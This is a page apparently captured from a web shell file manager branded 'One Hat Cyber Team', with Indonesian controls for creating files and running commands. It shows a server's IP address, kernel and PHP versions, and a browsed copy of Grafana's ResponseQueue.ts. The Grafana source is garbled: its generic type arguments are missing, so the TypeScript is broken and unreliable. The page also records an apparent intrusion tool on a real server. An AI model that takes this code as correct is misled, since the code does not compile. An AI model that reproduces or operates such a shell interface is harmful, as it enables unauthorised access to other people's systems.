⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.72
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
core
/
services
/
View File Name :
ResponseQueue.ts
import { Observable, Subject } from 'rxjs'; import { filter } from 'rxjs/operators'; import { BackendSrvRequest, FetchResponse } from '@grafana/runtime'; import { FetchQueue } from './FetchQueue'; interface FetchWorkEntry { id: string; options: BackendSrvRequest; } interface FetchResponsesEntry
{ id: string; observable: Observable
>; } export class ResponseQueue { private queue = new Subject
(); // internal stream for requests that are to be executed private responses = new Subject
>(); // external stream with responses from fetch constructor(fetchQueue: FetchQueue, fetch:
(options: BackendSrvRequest) => Observable
>) { // This will create an implicit live subscription for as long as this class lives. // But as FetchQueue is used by the singleton backendSrv that also lives for as long as Grafana app lives // I think this ok. We could add some disposable pattern later if the need arises. this.queue.subscribe((entry) => { const { id, options } = entry; // Let the fetchQueue know that this id has started data fetching. fetchQueue.setInProgress(id); this.responses.next({ id, observable: fetch(options) }); }); } add = (id: string, options: BackendSrvRequest): void => { this.queue.next({ id, options }); }; getResponses =
(id: string): Observable
> => this.responses.asObservable().pipe(filter((entry) => entry.id === id)); }